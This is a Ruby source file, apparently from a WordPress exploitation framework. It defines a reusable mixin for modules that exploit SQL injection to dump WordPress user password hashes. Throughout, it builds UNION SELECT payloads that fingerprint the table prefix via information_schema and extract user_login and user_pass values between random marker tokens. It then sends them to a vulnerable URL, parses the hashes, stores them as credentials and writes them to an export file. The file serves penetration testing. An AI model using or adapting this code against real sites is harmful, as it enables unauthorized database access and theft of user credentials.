lib/wpxf/wordpress/hash_dump.rb
# frozen_string_literal: true
# Provides reusable functionality for hash dump modules.
module Wpxf::WordPress::HashDump
include Wpxf
# Initialises a new instance of {HashDump}
def initialize
super
_update_info_without_validation(
desc: %(
This module exploits an SQL injection vulnerability to generate
a dump of all the user hashes in the database.
)
)
register_options([
StringOption.new(
name: 'export_path',
desc: 'The file to save the hash dump to',
required: false
)
])
_generate_id_tokens
end
# @return [String] the path to export the hash dump to.
def export_path
return nil if normalized_option_value('export_path').nil?
File.expand_path normalized_option_value('export_path')
end
# @return [Boolean] returns true if only one row of the SQL query will be displayed per request.
def reveals_one_row_per_request
false
end
# @return [Array] an array of values to use in the generated union statement.
def hashdump_custom_union_values
[]
end
# @return [String] a unique SQL select statement that can be used to extract the hashes.
def hashdump_sql_statement
cols = _hashdump_union_cols
cols[hashdump_visible_field_index] = "concat(#{_bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{_eof_token})"
query = "select #{cols.join(',')} from #{table_prefix}users"
return query unless reveals_one_row_per_request
"#{query} limit #{_current_row},1"
end
# @return [String] a unique select statement that can be used to fingerprint the database prefix.
def hashdump_prefix_fingerprint_statement
cols = _hashdump_union_cols
cols[hashdump_visible_field_index] = "concat(#{_bof_token},0x3a,table_name,0x3a,#{_eof_token})"
query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
return query unless reveals_one_row_per_request
"#{query} limit #{_current_row},1"
end
# @return [Integer] the zero-based index of the column which is visible in the response output.
def hashdump_visible_field_index
0
end
# @return [Integer] the number of columns in the vulnerable SQL statement.
def hashdump_number_of_cols
1
end
# @return [Symbol] the HTTP method to use when requesting the hash dump.
def hashdump_request_method
:get
end
# @return [Hash] the parameters to be used when requesting the hash dump.
def hashdump_request_params
nil
end
# @return [Hash, String] the body to be used when requesting the hash dump.
def hashdump_request_body
nil
end
# @return [String] the URL of the vulnerable page.
def vulnerable_url
nil
end
# @return [String] the table prefix determined by the module.
def table_prefix
@table_prefix
end
# Run the module.
# @return [Boolean] true if successful.
def run
return false unless super
@_current_row = 0
emit_info 'Determining database prefix...'
return false unless _determine_prefix
emit_success "Found prefix: #{table_prefix}", true
@_current_row = 0
emit_info 'Dumping user hashes...'
hashes = _dump_and_parse_hashes.uniq
_output_hashdump_table(hashes)
_save_hashes(hashes)
_export_hashes(hashes) if export_path
true
end
private
def _hashdump_union_cols
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
hashdump_custom_union_values.each_with_index do |value, index|
cols[index] = value unless value.nil?
end
cols
end
def _bof_token
@_bof_token
end
def _eof_token
@_eof_token
end
def _current_row
@_current_row
end
def _execute_hashdump_request
execute_request(
method: hashdump_request_method,
url: vulnerable_url,
params: hashdump_request_params,
body: hashdump_request_body,
cookie: session_cookie
)
end
def _dump_and_parse_hashes
unless reveals_one_row_per_request
res = _execute_hashdump_request
return _parse_hashdump_body(res.body)
end
eof = false
hashes = []
until eof
res = _execute_hashdump_request
break unless res.body.match?(/#{_bof_token}\:(.*?)\:#{_eof_token}/)
hash = _parse_hashdump_body(res.body)
hashes.push([hash[0][0], hash[0][1]]) if hash
@_current_row += 1
end
hashes
end
def _build_prefix_request_body
body = hashdump_request_body
unless body.nil?
if body.is_a?(Hash)
body.each do |k, v|
body[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
end
else
body = body.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
end
end
body
end
def _build_prefix_request_params
params = hashdump_request_params
params&.each do |k, v|
params[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
end
params
end
def _determine_prefix
body = _build_prefix_request_body
params = _build_prefix_request_params
res = execute_request(
method: hashdump_request_method,
url: vulnerable_url,
params: params,
body: body,
cookie: session_cookie
)
return nil unless res&.code == 200
# If the prefix is found, regardless of the row mode, return it.
@table_prefix = res.body[/#{_bof_token}\:([^:]+?)usermeta\:#{_eof_token}/, 1]
return @table_prefix if @table_prefix
return nil unless reveals_one_row_per_request
# If the bof and eof tokens weren't found at all, there are no more rows available.
return nil unless res.body.match?(/#{_bof_token}\:(.*?)\:#{_eof_token}/)
# If the tokens were found, then we can try to query another row.
@_current_row += 1
_determine_prefix
end
def _output_hashdump_table(hashes)
rows = []
rows.push(user: 'Username', hash: 'Hash')
hashes.each do |pair|
rows.push(user: pair[0], hash: pair[1])
end
emit_table rows
end
def _save_hashes(hashes)
hashes.each do |hash|
store_credentials(hash[0], hash[1], 'hash')
end
end
def _export_hashes(hashes)
File.open(export_path, 'w') do |f|
hashes.each do |pair|
f.puts "#{pair[0]}:#{pair[1]}"
end
end
emit_success "Saved dump to #{export_path}"
end
def _parse_hashdump_body(body)
pattern = /#{_bof_token}\:(.+?)\:(.+?)\:#{_eof_token}/
body.scan(pattern)
end
def _generate_id_tokens
@_eof_token = Utility::Text.rand_numeric(10)
@_bof_token = Utility::Text.rand_numeric(10)
end
end